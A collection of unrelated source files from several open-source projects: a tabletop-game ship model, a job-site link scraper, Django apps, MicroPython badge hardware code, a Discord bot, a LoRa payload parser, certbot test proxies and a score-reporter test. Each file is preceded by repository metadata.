the amount of damage that is in excess of the shields.
Args:
zone (str): One of ArmadaTypes.hull_zones
amount (int): Amount of damage
Returns:
(int): Amount of damage that will be assigned to the hull.
"""
damage = amount
if "hull" != zone:
shield_offset = Ship._enc_index['shields'] + ArmadaTypes.hull_zones.index(zone)
shields = int(self.encoding[shield_offset].item())
if shields >= damage:
shields -= damage
damage = 0
else:
damage -= shields
shields = 0
self.encoding[shield_offset] = shields
return damage
def damage(self, zone, amount):
"""
Deal damage to a hull zone.
Args:
zone (str): One of ArmadaTypes.hull_zones or "hull"
amount (int): Amount of damage
"""
damage = amount
if "hull" != zone:
shield_offset = Ship._enc_index['shields'] + ArmadaTypes.hull_zones.index(zone)
shields = int(self.encoding[shield_offset].item())
if shields >= damage:
shields -= damage
damage = 0
else:
damage -= shields
shields = 0
self.encoding[shield_offset] = shields
# TODO FIXME This would be the correct time to handle the standard critical (or XX-9)
self.set('damage', self.get('damage') + damage)
def hull(self):
hull_offset = Ship._enc_index['hull']
hull = int(self.encoding[hull_offset].item())
return hull
def damage_cards(self):
return int(self.get('damage'))
def stringify(self):
"""Return a string version of the ship."""
shield_offset = Ship._enc_index['shields']
shield_length = Ship._enc_len['shields']
shields = self.encoding[shield_offset:shield_offset + shield_length]
green_def_idx = Ship._enc_index['green_defense_tokens']
green_def_len = Ship._enc_len['green_defense_tokens']
green_tokens = self.encoding[green_def_idx:green_def_idx + green_def_len]
red_def_idx = Ship._enc_index['red_defense_tokens']
red_def_len = Ship._enc_len['red_defense_tokens']
red_tokens = self.encoding[red_def_idx:red_def_idx + red_def_len]
return str(
"{}: hull ({}/{}), shields {}, green defense tokens {}, red defense tokens {}".format(
self.name, self.hull()-self.damage_cards(), self.hull(), shields, green_tokens, red_tokens))
def __str__(self):
return self.stringify()
def __repr__(self):
return self.stringify()
def parseShips(filename):
""" Returns a list of ships."""
keys = {}
ship_templates = {}
with open(filename, newline='') as ships:
shipreader = csv.reader(ships, delimiter=',', quotechar='|')
rowcount = 0
for row in shipreader:
# parse the header first to find the column keys
if ( 0 == rowcount ):
count = 0
for key in row:
count = count + 1
keys[count] = key
else:
newship = {}
count = 0
# Fill in all of the information on this vessel
for key in row:
count = count + 1
newship[keys[count]] = key
# Create a new ship template
ship_templates[newship['Ship Name']] = newship
rowcount = rowcount + 1
ship_types = {}
for name, attributes in ship_templates.items():
ship_types[name] = ShipType(name, attributes)
#print("{}:".format(name))
#for a_name, a_value in attributes.items():
# print(" {} : {}".format(a_name, a_value))
return ship_types
| 2.828125 | 3 |
web-scrapping/indeed-site/webscrapper.py | AsciencioAlex/super-waddle-webscrapping | 0 | 12768785 | <gh_stars>0
import requests
from bs4 import BeautifulSoup
url = "https://www.indeed.com/"
r = requests.get(url)
soup = BeautifulSoup(r.content)
links = soup.find_all("a")
for link in links:
print "<a href='%s'>%s</a>" %(link.get("href"), link.text)
g_data = soup.find_all("div", {"class": "icon-container"})
for item in g_data:
print item.text | 3.328125 | 3 |
EthicsWorld/Apps/poll/migrations/0001_initial.py | DylanTheVillain/Ethics-World | 0 | 12768786 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
]
operations = [
migrations.CreateModel(
name='Answer',
fields=[
('id', models.AutoField(primary_key=True, auto_created=True, verbose_name='ID', serialize=False)),
('answerQuestionHash', models.CharField(max_length=40)),
('answerChoiceHash', models.CharField(max_length=40)),
('answerDateResponded', models.DateTimeField(verbose_name='Date Answered')),
('answerIPOfAnswerer', models.GenericIPAddressField()),
],
options={
},
bases=(models.Model,),
),
migrations.CreateModel(
name='AvaliableAnswers',
fields=[
('id', models.AutoField(primary_key=True, auto_created=True, verbose_name='ID', serialize=False)),
('avaliableAnswersQuestionHash', models.CharField(max_length=40)),
('avaliableAnswersText', models.CharField(max_length=200)),
('avaliableAnswersHash', models.CharField(max_length=40)),
],
options={
},
bases=(models.Model,),
),
migrations.CreateModel(
name='Question',
fields=[
('id', models.AutoField(primary_key=True, auto_created=True, verbose_name='ID', serialize=False)),
('questionText', models.TextField()),
('quesiionDate', models.DateTimeField(verbose_name='Question Date')),
('questionHash', models.CharField(max_length=40)),
],
options={
},
bases=(models.Model,),
),
]
| 1.820313 | 2 |
hw.py | CRImier/WiFiNugget | 14 | 12768787 | from machine import Pin, I2C
from neopixel import NeoPixel
from time import sleep, ticks_ms, ticks_diff
import framebuf
import gc
import sh1106
# Wemos pins - for our and our users' convenience
D0 = const(16)
D1 = const(5)
D2 = const(4)
D3 = const(0)
D4 = const(2)
D5 = const(14)
D6 = const(12)
D7 = const(13)
D8 = const(15)
# I2C and screen
i2c = I2C(scl=Pin(D1), sda=Pin(D2), freq=400000) # I2C object on pins D1 an dD2
lcd = sh1106.SH1106_I2C(128, 64, i2c, None, 0x3c, rotate=180) # SH1106 display on I2C 0x3C, rotated
# screen init
lcd.sleep(False) # Turn on the display
lcd.fill(0) # Erase display
# Neopixel
numPixels = 1 # How many pixels are attached to the nugget? If just the built in display, put 1
pin = Pin(D8, Pin.OUT) # set GPIO15 to output to drive NeoPixels
def get_neopixels(count):
return NeoPixel(pin, count) # create NeoPixel driver on GPIO15 for all neopixels
# Button pins
down_p = Pin(D3, Pin.IN, Pin.PULL_UP) # down is green
up_p = Pin(D6, Pin.IN, Pin.PULL_UP) # up is red
left_p = Pin(D7, Pin.IN, Pin.PULL_UP) # left is blue
right_p = Pin(D5, Pin.IN, Pin.PULL_UP) # right is yellow
# Button wrapper code for usability
class Buttons():
debounce_time = 150 # milliseconds
def __init__(self, buttons, callbacks={}, aliases={}):
self.b = buttons
self.cb = callbacks
self.b_al = aliases
self.values = {name:False for name in buttons}
self.debounce = {name:0 for name in buttons}
def update(self):
for name, button in self.b.items():
new = not button.value() # inverting the pin here
old = self.values[name]
if new and not old:
# button just pressed, recording that
self.values[name] = True
# clearing debounce timer if it's set - we only debounce on release
self.debounce[name] = None
# executing the button callback if available
cb = self.cb.get(name, None)
if callable(cb):
cb()
elif old and not new:
# button is released
# we debounce only button release
# this is so that button presses are processed quicker
if not self.debounce[name]:
# starting debounce timer
self.debounce[name] = ticks_ms()
else:
if ticks_diff(ticks_ms(), self.debounce[name]) > self.debounce_time:
# button has been de-pressed for long enough
# accepting and moving on
self.values[name] = False
elif new:
# button still pressed
# just removing the debounce timer
# in case it's been activated by a bit of bounce on press
self.debounce[name] = None
else:
pass # button long-released
def __getattr__(self, attr):
# lets you get button value by direction - like `buttons.left`
if attr in self.b:
# return value
return self.values[attr]
# lets you get button value by color - like `buttons.blue`
elif attr in self.b_al:
return self.values[self.b_al[attr]]
buttons = Buttons({"down":down_p, "up":up_p, "left":left_p, "right":right_p} ,
aliases={"red":"up", "blue":"left", "yellow":"red", "green":"down"})
# Screen image decompression
def unpack(packed_data):
"""
Decompresses image data using a very simple algorithm described in 'pack'.
Returns a bytearray.
"""
i = 0 # index for the unpacked bytearray element that we're currently on
# checking the compression format version, for future compatibility in case this algo changes significantly
if packed_data[0] != 1:
print("Don't know how to decompress this image, format version:", packed_data[0])
return None
# pre-creating a bytearray of the length we need, initially filled with zeroes
# to avoid creating too many useless objects and wasting memory as we unpack
unpacked_data = bytearray(packed_data[1])
for element in packed_data[2:]: # need to skip two elements - version and length
if isinstance(element, int): # just an int, simply putting it into the bytearray
unpacked_data[i] = element
i += 1
else:
value, count = element
if value == 0: # small optimization
# skipping zero-filling since bytearrays are pre-filled with zeroes
i += count
else:
for _ in range(count):
unpacked_data[i] = value
i += 1
return unpacked_data
# Showing compressed images
def show_compressed(packed_data, fb_width=124, fb_height=64):
data = unpack(packed_data)
fb = framebuf.FrameBuffer(data, fb_width, fb_height, framebuf.MONO_VLSB)
lcd.fill(0)
lcd.blit(fb, 0, 0)
lcd.show()
del data
del fb
gc.collect()
cutie_c = [1, 992, [0, 253], 192, [224, 2], 112, 56, 60, [28, 2], [14, 9], [28, 2], 56, 120, 240, 224, 192, 128, [0, 63], 192, 224, 240, 120, 60, 28, [14, 3], [7, 7], 6, [14, 2], 28, 60, 56, 240, 224, 192, 128, [0, 7], 240, 252, 255, 7, 1, [0, 11], 32, [248, 2], [252, 2], 248, 112, [0, 2], 1, 3, 31, 254, 248, 128, [0, 57], 224, 252, 255, 7, 1, [0, 12], 120, [252, 4], 120, [0, 3], 1, 7, 255, 254, 240, [0, 5], 15, 127, 255, 224, 128, [0, 13], [1, 3], [0, 5], 192, 240, 255, 63, 1, [0, 26], 112, [248, 7], 112, [0, 22], 3, 31, 127, 240, 192, 128, [0, 19], 128, 192, 240, 255, 63, 7, [0, 7], 1, 3, 7, 15, 30, 60, 56, 48, [112, 2], [96, 2], [224, 3], 96, [112, 3], [56, 2], 28, 14, 15, 7, 1, [0, 21], 24, 120, 240, 192, 128, [0, 5], 1, 3, 255, 3, 1, [0, 5], 128, 192, 240, 120, 24, [0, 17], 1, 3, 7, 15, 30, 28, [56, 3], [112, 7], 48, [56, 2], 28, 30, 14, 7, 3, 1, [0, 60], 1, 3, 7, 6, 14, [12, 4], 15, 12, 8, [12, 2], [6, 2], [3, 2], 1, [0, 175]]
dead_c = [1, 992, [0, 137], 1, 3, 15, 31, 127, 255, 254, 248, 240, 192, 128, [0, 4], 128, 192, 240, 252, 254, 255, 63, 31, 7, 3, [0, 50], 1, 3, 15, 31, 127, 255, 254, 248, 240, 192, 128, [0, 4], 128, 192, 240, 252, 254, 255, 63, 31, 7, 3, [0, 30], 3, 7, 31, 191, 255, 254, [248, 2], 254, 255, 31, 15, 7, 1, [0, 61], 3, 7, 31, 191, 255, 254, [248, 2], 254, 255, 31, 15, 7, 1, [0, 33], 128, 224, 240, 252, 254, 127, 31, 15, 3, 7, 31, 127, 255, 254, 248, 240, 192, 128, [0, 57], 128, 224, 240, 252, 254, 127, 31, 15, 3, 7, 31, 127, 255, 254, 248, 240, 192, 128, [0, 27], 32, 56, 60, [63, 3], 15, 3, 1, [0, 8], 3, 15, 31, [63, 2], 62, 60, 48, 32, [0, 20], 112, [248, 7], 112, [0, 20], 32, 56, 60, [63, 3], 15, 3, 1, [0, 8], 3, 15, 31, [63, 2], 62, 60, 48, 32, [0, 61], 24, 120, 240, 192, 128, [0, 5], 1, 3, 255, 3, 1, [0, 5], 128, 192, 240, 120, 24, [0, 102], 1, 3, 7, 6, 14, [12, 4], 15, 12, 8, [12, 2], [6, 2], [3, 2], 1, [0, 175]]
nyaa_c = [1, 992, [0, 270], 128, 224, [248, 3], 224, 192, [0, 68], 128, 224, [248, 3], 224, 192, [0, 37], 128, 224, 240, 252, 254, 127, 31, 15, 3, 7, 31, 127, 255, 254, 248, 240, 192, 128, [0, 57], 128, 224, 240, 252, 254, 127, 31, 15, 3, 7, 31, 127, 255, 254, 248, 240, 192, 128, [0, 27], 32, 56, 60, [63, 3], 15, 3, 1, [0, 8], 3, 15, 31, [63, 2], 62, 60, 48, 32, [0, 20], 112, [248, 7], 112, [0, 20], 32, 56, 60, [63, 3], 15, 3, 1, [0, 8], 3, 15, 31, [63, 2], 62, 60, 48, 32, [0, 61], 24, 120, 240, 192, 128, [0, 5], 1, 3, 255, 3, 1, [0, 5], 128, 192, 240, 120, 24, [0, 102], 1, 3, 7, 6, 14, [12, 4], 15, 12, 8, [12, 2], [6, 2], [3, 2], 1, [0, 175]]
| 2.765625 | 3 |
bot/core/bot.py | Rohith04MVK/Neutron-Bot | 2 | 12768788 | <reponame>Rohith04MVK/Neutron-Bot
import time
from datetime import datetime
import aiohttp
from discord.ext.commands import AutoShardedBot as Base_Bot
from loguru import logger
from bot import config
from bot.database import Database
class Bot(Base_Bot):
"""Subclassed Neutron bot."""
def __init__(self, extensions: list, db_tables: list, *args, **kwargs) -> None:
"""Initialize the subclass."""
super().__init__(*args, **kwargs)
self.start_time = datetime.utcnow()
self.extension_list = extensions
self.db_table_list = db_tables
self.initial_call = True
async def load_extensions(self) -> None:
"""Load all listed cogs."""
for extension in self.extension_list:
try:
self.load_extension(extension)
logger.debug(f"Cog {extension} loaded.")
except Exception as e:
logger.error(f"Cog {extension} failed to load with {type(e)}: {e}")
async def db_connect(self) -> None:
"""Estabolish connection with the database."""
self.database = Database(config.DATABASE)
connected = await self.database.connect()
while not connected:
logger.warning("Retrying to connect to database in 5s")
# Synchronous sleep function to stop everything until db is connecting
time.sleep(5)
connected = await self.database.connect()
await self.database.load_tables(self.db_table_list, self)
async def on_ready(self) -> None:
if self.initial_call:
self.initial_call = False
await self.load_extensions()
logger.info("Bot is ready")
else:
logger.info("Bot connection reinitialized")
def run(self, token: str) -> None:
"""Override the default `run` method and add a missing token check"""
if not token:
logger.error("Missing Bot Token!")
else:
super().run(token)
async def start(self, *args, **kwargs) -> None:
"""
Estabolish a connection to asyncpg database and aiohttp session.
Overwriting `start` method is needed in order to only make a connection
after the bot itself has been initiated.
Setting these on `__init__` directly would mean in case the bot fails to run
it won't be easy to close the connection.
"""
self.session = aiohttp.ClientSession()
await self.db_connect()
await super().start(*args, **kwargs)
async def close(self) -> None:
"""Close the bot and do some cleanup."""
logger.info("Closing bot connection")
if hasattr(self, "session"):
await self.session.close()
if hasattr(self, "database") and hasattr(self.database, "pool"):
await self.database.disconnect()
await super().close()
| 2.21875 | 2 |
thingpark/parsers/aqburk.py | asalminen/DjangoHttpBroker-Thingpark | 0 | 12768789 | <filename>thingpark/parsers/aqburk.py
def hex2int(hex_str):
"""
Convert hex characters (e.g. "23" or "011a") to int (35 or 282)
:param hex_str: hex character string
:return: int integer
"""
return int(hex_str, 16)
def hex2value10(hex_str):
"""
Convert 2 hex characters (e.g. "23") to float (3.5)
:param hex_str: hex character string
:return: float value
"""
return hex2int(hex_str) / 10.0
def parse_aqburk(hex_str, port=None):
"""
Parse payload like "2a2a0021002c002800300056003b0000" float values
:param hex_str: AQLoRaBurk hex payload
:param port: LoRaWAN port
:return: dict containing float values
"""
data = {
'pm25min': hex2value10(hex_str[4:8]),
'pm25max': hex2value10(hex_str[8:12]),
'pm25avg': hex2value10(hex_str[12:16]),
'pm25med': hex2value10(hex_str[16:20]),
'pm10min': hex2value10(hex_str[20:24]),
'pm10max': hex2value10(hex_str[24:28]),
'pm10avg': hex2value10(hex_str[28:32]),
'pm10med': hex2value10(hex_str[32:36]),
}
if len(hex_str) == 52:
data['temp'] = round(hex2value10(hex_str[36:40]) - 100, 1)
data['humi'] = hex2value10(hex_str[40:44])
data['pres'] = hex2value10(hex_str[44:48])
data['gas'] = hex2value10(hex_str[48:52])
return data
| 2.84375 | 3 |
olc_webportalv2/data/urls.py | OLC-Bioinformatics/olc_genomics_portal | 3 | 12768790 | from olc_webportalv2.data import views
from django.conf.urls import url, include
from django.utils.translation import gettext_lazy as _
urlpatterns = [
url(_(r'^data_home/'), views.data_home, name='data_home'),
url(_(r'^raw_data/'), views.raw_data, name='raw_data'),
url(_(r'^assembled_data/'), views.assembled_data, name='assembled_data'),
url(_(r'^data_download/(?P<data_request_pk>\d+)/$'), views.data_download, name='data_download'),
]
| 1.773438 | 2 |
api/resources_portal/models/material_request.py | arielsvn/resources-portal | 0 | 12768791 | <reponame>arielsvn/resources-portal<filename>api/resources_portal/models/material_request.py
from django.db import models
from resources_portal.models.material import Material
from resources_portal.models.user import User
class MaterialRequest(models.Model):
class Meta:
db_table = "material_requests"
get_latest_by = "created_at"
objects = models.Manager()
created_at = models.DateTimeField(auto_now_add=True)
updated_at = models.DateTimeField(auto_now=True)
material = models.ForeignKey(
Material, blank=False, null=False, on_delete=models.CASCADE, related_name="requests"
)
requester = models.ForeignKey(
User, blank=False, null=False, on_delete=models.CASCADE, related_name="material_requests"
)
assigned_to = models.ForeignKey(
User, blank=False, null=False, on_delete=models.CASCADE, related_name="assignments"
)
requester_signed_mta_s3_url = models.TextField(
help_text="Url to download the MTA after it was signed by the requester"
)
irb_s3_url = models.TextField(help_text="Url to download the IRB")
executed_mta_s3_url = models.TextField(
help_text="Url to download the MTA after it has been signed by all parties."
)
is_active = models.BooleanField(default=True)
# TODO: add possible choices for status
status = models.CharField(max_length=255, blank=True, null=True)
| 2.140625 | 2 |
practice/Greeter.py | VincentExM/snakecharmer | 0 | 12768792 | <reponame>VincentExM/snakecharmer
import datetime
import sys
from math import pi
print()
print("hello world")
print(5 * 6)
x = 20
print(x)
first_bool = True
print(first_bool)
first_word = "hehe"
print(first_word)
print("Twinkle, twinkle, little star, \n\tHow I wonder what you are! \n\t\tUp above the world so high, \n\t\tLike a "
"diamond in the sky. \nTwinkle, twinkle, little star, \n\tHow I wonder what you are!\n")
print(sys.version.__str__() + "\n")
print(sys.version_info.__str__() + "\n")
print(str(datetime.datetime.now()))
# This is my first python program <3 yahoo
r = float(input("Input the radius of a circle: "))
print("The area of the cirlce with radius " + str(r) + " is: " + str(pi * r ** 2))
cs_input = str(input("Enter a list of comma seperated numbers: "))
cs_list = cs_input.split(",")
cs_tuple = tuple(cs_list)
print(str(cs_list))
print(str(cs_tuple))
def my_first_method(x):
return str(x)
print(my_first_method(209))
| 3.765625 | 4 |
certbot-compatibility-test/certbot_compatibility_test/configurators/common.py | luisriverag/certbot | 1 | 12768793 | <gh_stars>1-10
"""Provides a common base for configurator proxies"""
from abc import abstractmethod
import logging
import os
import shutil
import tempfile
from certbot._internal import constants
from certbot_compatibility_test import interfaces
from certbot_compatibility_test import errors
from certbot_compatibility_test import util
logger = logging.getLogger(__name__)
class Proxy(interfaces.ConfiguratorProxy):
"""A common base for compatibility test configurators"""
@classmethod
def add_parser_arguments(cls, parser):
"""Adds command line arguments needed by the plugin"""
def __init__(self, args):
"""Initializes the plugin with the given command line args"""
super().__init__(args)
self._temp_dir = tempfile.mkdtemp()
# tempfile.mkdtemp() creates folders with too restrictive permissions to be accessible
# to an Apache worker, leading to HTTP challenge failures. Let's fix that.
os.chmod(self._temp_dir, 0o755)
self.le_config = util.create_le_config(self._temp_dir)
config_dir = util.extract_configs(args.configs, self._temp_dir)
self._configs = [
os.path.join(config_dir, config)
for config in os.listdir(config_dir)]
self.args = args
self.http_port = 80
self.https_port = 443
self._configurator: interfaces.Configurator
self._all_names = None
self._test_names = None
def has_more_configs(self):
"""Returns true if there are more configs to test"""
return bool(self._configs)
@abstractmethod
def cleanup_from_tests(self):
"""Performs any necessary cleanup from running plugin tests"""
def load_config(self):
"""Returns the next config directory to be tested"""
shutil.rmtree(self.le_config.work_dir, ignore_errors=True)
backup = os.path.join(self.le_config.work_dir, constants.BACKUP_DIR)
os.makedirs(backup)
return self._configs.pop()
def copy_certs_and_keys(self, cert_path, key_path, chain_path=None):
"""Copies certs and keys into the temporary directory"""
cert_and_key_dir = os.path.join(self._temp_dir, "certs_and_keys")
if not os.path.isdir(cert_and_key_dir):
os.mkdir(cert_and_key_dir)
cert = os.path.join(cert_and_key_dir, "cert")
shutil.copy(cert_path, cert)
key = os.path.join(cert_and_key_dir, "key")
shutil.copy(key_path, key)
chain = None
if chain_path:
chain = os.path.join(cert_and_key_dir, "chain")
shutil.copy(chain_path, chain)
return cert, key, chain
def get_all_names_answer(self):
"""Returns the set of domain names that the plugin should find"""
if self._all_names:
return self._all_names
raise errors.Error("No configuration file loaded")
def get_testable_domain_names(self):
"""Returns the set of domain names that can be tested against"""
if self._test_names:
return self._test_names
return {"example.com"}
def deploy_cert(self, domain, cert_path, key_path, chain_path=None,
fullchain_path=None):
"""Installs cert"""
cert_path, key_path, chain_path = self.copy_certs_and_keys(
cert_path, key_path, chain_path)
if not self._configurator:
raise ValueError("Configurator plugin is not set.")
self._configurator.deploy_cert(
domain, cert_path, key_path, chain_path, fullchain_path)
def cleanup(self, achalls):
self._configurator.cleanup(achalls)
def config_test(self):
self._configurator.config_test()
def enhance(self, domain, enhancement, options = None):
self._configurator.enhance(domain, enhancement, options)
def get_all_names(self):
return self._configurator.get_all_names()
def get_chall_pref(self, domain):
return self._configurator.get_chall_pref(domain)
@classmethod
def inject_parser_options(cls, parser, name):
pass
def more_info(self):
return self._configurator.more_info()
def perform(self, achalls):
return self._configurator.perform(achalls)
def prepare(self):
self._configurator.prepare()
def recovery_routine(self):
self._configurator.recovery_routine()
def restart(self):
self._configurator.restart()
def rollback_checkpoints(self, rollback = 1):
self._configurator.rollback_checkpoints(rollback)
def save(self, title = None, temporary = False):
self._configurator.save(title, temporary)
def supported_enhancements(self):
return self._configurator.supported_enhancements()
| 2.265625 | 2 |
schematic/utils/cli_utils.py | linglp/schematic | 8 | 12768794 | #!/usr/bin/env python3
import inspect
import logging
from typing import Any, Mapping, Sequence, Union
from functools import reduce
from schematic import CONFIG
from schematic.exceptions import (
MissingConfigValueError,
MissingConfigAndArgumentValueError,
)
logger = logging.getLogger(__name__)
def query_dict(dictionary: Mapping[Any, Any], keys: Sequence[Any]) -> Union[Any, None]:
"""Access a nested value in a dictionary corresponding
to a series of keys.
Args:
dictionary: A dictionary containing anything.
keys: A sequence of values corresponding to keys
in `dictionary`
Returns:
The nested value corresponding to the given series
of keys, or `None` is such a value doesn't exist.
"""
def extract(dictionary: Any, key: Any) -> Union[Any, None]:
"""Get value associated with key, defaulting to None."""
if dictionary is None or not isinstance(dictionary, dict):
return None
return dictionary.get(key)
return reduce(extract, keys, dictionary)
def get_from_config(
dictionary: Mapping[Any, Any], keys: Sequence[Any]
) -> Union[Any, None]:
"""Access a nested configuration value from a yaml
configuration file.
Args:
dictionary: A dictionary containing anything.
keys: A sequence of values corresponding to keys
in `dictionary`.
Returns:
The nested value corresponding to the given series.
Raises:
MissingConfigValueError: When configuration value not
found in config.yml file for given key.
"""
# get configuration value from config file
config_value = query_dict(dictionary, keys)
# if configuration value not present then raise Exception
if config_value is None:
raise MissingConfigValueError(keys)
config_keys_str = " > ".join(keys)
logger.info(
f"The ({config_keys_str}) argument with value "
f"'{config_value}' is being read from the config file."
)
return config_value
def fill_in_from_config(
arg_name: str, arg_value: Any, config_keys: Sequence[Any], allow_none: bool = False
) -> Any:
"""Fill in a missing value from a configuration object.
Args:
arg_name: Name of the argument. Used for logging.
config_keys: List of keys used to access a nested
value in `config` corresponding to `arg_name`.
arg_value: Value of the argument provided at the
command line.
allow_none: Return None if argument value and
configuration value are both None (rather
than raising an error).
Returns:
The argument value, either from the calling context
or the corresponding field in the configuration.
Raises:
AssertionError: If both the argument value and the
configuration object are `None`.
"""
# Avoid accessing config if argument value is provided
if arg_value is not None:
return arg_value
# raise Exception if both, configuration value not present
# in config file and CLI argument value is missing
try:
config_value = get_from_config(CONFIG.DATA, config_keys)
except MissingConfigValueError:
if allow_none:
return None
raise MissingConfigAndArgumentValueError(arg_name, config_keys)
# Make sure argument value and
config_keys_str = " > ".join(config_keys)
logger.info(
f"The '--{arg_name}' argument is being taken from configuration "
f"file ({config_keys_str}), i.e., '{config_value}'."
)
return config_value
| 2.84375 | 3 |
gallry/models.py | Evan-cell/gallery | 0 | 12768795 |
import datetime as dt
from django.db import models
from cloudinary.models import CloudinaryField
class photos(models.Model):
# title field
title = models.CharField(max_length=100)
#image field
image = CloudinaryField('image')
| 2.03125 | 2 |
mztab_m_swagger_client/models/column_parameter_mapping.py | lifs-tools/pymzTab-m | 4 | 12768796 | # coding: utf-8
"""
mzTab-M reference implementation and validation API.
This is the mzTab-M reference implementation and validation API service. # noqa: E501
OpenAPI spec version: 2.0.0
Contact: <EMAIL>
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
from mztab_m_swagger_client.models.parameter import Parameter # noqa: F401,E501
class ColumnParameterMapping(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'column_name': 'str',
'param': 'Parameter'
}
attribute_map = {
'column_name': 'column_name',
'param': 'param'
}
def __init__(self, column_name=None, param=None): # noqa: E501
"""ColumnParameterMapping - a model defined in Swagger""" # noqa: E501
self._column_name = None
self._param = None
self.discriminator = None
self.column_name = column_name
self.param = param
@property
def column_name(self):
"""Gets the column_name of this ColumnParameterMapping. # noqa: E501
The fully qualified target column name. # noqa: E501
:return: The column_name of this ColumnParameterMapping. # noqa: E501
:rtype: str
"""
return self._column_name
@column_name.setter
def column_name(self, column_name):
"""Sets the column_name of this ColumnParameterMapping.
The fully qualified target column name. # noqa: E501
:param column_name: The column_name of this ColumnParameterMapping. # noqa: E501
:type: str
"""
if column_name is None:
raise ValueError("Invalid value for `column_name`, must not be `None`") # noqa: E501
self._column_name = column_name
@property
def param(self):
"""Gets the param of this ColumnParameterMapping. # noqa: E501
The parameter specifying the unit. # noqa: E501
:return: The param of this ColumnParameterMapping. # noqa: E501
:rtype: Parameter
"""
return self._param
@param.setter
def param(self, param):
"""Sets the param of this ColumnParameterMapping.
The parameter specifying the unit. # noqa: E501
:param param: The param of this ColumnParameterMapping. # noqa: E501
:type: Parameter
"""
if param is None:
raise ValueError("Invalid value for `param`, must not be `None`") # noqa: E501
self._param = param
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(ColumnParameterMapping, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, ColumnParameterMapping):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| 1.710938 | 2 |
score_reporter_handler_test.py | martincochran/score-minion | 0 | 12768797 | <gh_stars>0
#!/usr/bin/env python
#
# Copyright 2015 <NAME>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from datetime import datetime
import logging
import mock
import unittest
import webtest
import test_env_setup
from google.appengine.api import taskqueue
import game_model
import score_reporter_crawler
import score_reporter_handler
import score_reporter_testdata
import scores_messages
import web_test_base
# Fake landing page for the list of tournaments at play.usaultimate.com.
FAKE_LANDING_PAGE = """
<!doctype html>
<body>
<a href="http://play.usaultimate.org/events/Womens-Sectionals-2015/">
women's sectionals
</a>
<a href="http://play.usaultimate.org/events/Mens-Sectionals-2015">
men's sectionals
</a>
</body>
"""
FAKE_TOURNEY_LANDING_PAGE = """
<!doctype html>
<body>
<img id="CT_Main_0_imgEventLogo" src="/assets/1/15/EventLogoDimension/TCTLogo_510x340.jpg" />
<div class="eventInfo2">
<b>City: </b>Easton<br /><b>Date: </b>3/31/2016 - 3/31/2016<br />
</div>
<dt class="groupTitle">
Men's Schedule
</dt>
<input type="submit" value="College " class="btn" />
</body>
"""
FAKE_HS_TOURNEY_LANDING_PAGE = """
<!doctype html>
<body>
<dt class="groupTitle">
Boys Schedule
</dt>
<input type="submit" value="High School " class="btn" />
</body>
"""
FAKE_TOURNEY_SCORES_PAGE = """
<!doctype html>
<body>
<tr data-game="71984">
<span data-type="game-date">Fri 5/22</span>
<span data-type="game-time">10:30 AM</span>
<span data-type"game-field">Field 5</span>
<span data-type="game-team-home">
<a href="/events/teams/?EventTeamId=g%3d">Pittsburgh (1)</a>
</span>
<span data-type="game-team-away">
<a href="/events/teams/?EventTeamId=8%3d">Georgia (8)</a>
</span>
<span data-type="game-score-home">15</span>
<span data-type="game-score-away">13</span>
<span data-type="game-status">Final</span>
</tr>
</body>
"""
FAKE_TOURNEY_NO_TEAM_URLS = """
<!doctype html>
<body>
<tr data-game="71984">
<span data-type="game-date">Fri 5/22</span>
<span data-type="game-time">10:30 AM</span>
<span data-type"game-field">Field 5</span>
<span data-type="game-team-home">
</span>
<span data-type="game-team-away">
</span>
<span data-type="game-score-home">15</span>
<span data-type="game-score-away">13</span>
<span data-type="game-status">Final</span>
</tr>
</body>
"""
# These pages may have a valid division but they won't have an
# age bracket URL link.
FAKE_CLINIC_LANDING_PAGE = """
<!doctype html>
<body>
<dt class="groupTitle">
Mixed Schedule
</dt>
</body>
"""
FAKE_TEAM_INFO_PAGE = """
<!doctype html>
<body>
<div class="profile_info">
<h4>
<a id="CT_Main_0_ltlTeamName" href="http://play.usaultimate.org/teams/events/Eventteam/?TeamId=njcj4s6Ct8EmLJyC98tkMEP3YQC5QiKs33MnNEu9jp0%3d">Texas (TUFF)</a>
</h4>
<p class="team_city">
Austin,Texas
</p>
<dl>
<dt>Competition Level:</dt>
<dd>College</dd>
</dl>
<dl>
<dt>Gender Division:</dt>
<dd>Men's</dd>
</dl>
<dl>
<dt>Head Coach:</dt>
<dd><NAME></dd>
</dl>
<dl>
<dt>Asst.Coach:</dt>
<dd><NAME></dd>
</dl>
<dl id="CT_Main_0_dlWebsite">
<dt>Website:</dt>
<dd><a id="CT_Main_0_lnkWebsite" href="http://texasultimate.wix.com/texasultimate" target="_blank">http://texasultimate.wix.com/texasultimate</a></dd>
</dl>
<dl id="CT_Main_0_dlFacebook">
<dt>Facebook:</dt>
<dd><a id="CT_Main_0_lnkFacebook" href="https://www.facebook.com/TexasUltimate">https://www.facebook.com/TexasUltimate</a></dd>
</dl>
<dl id="CT_Main_0_dlTwitter">
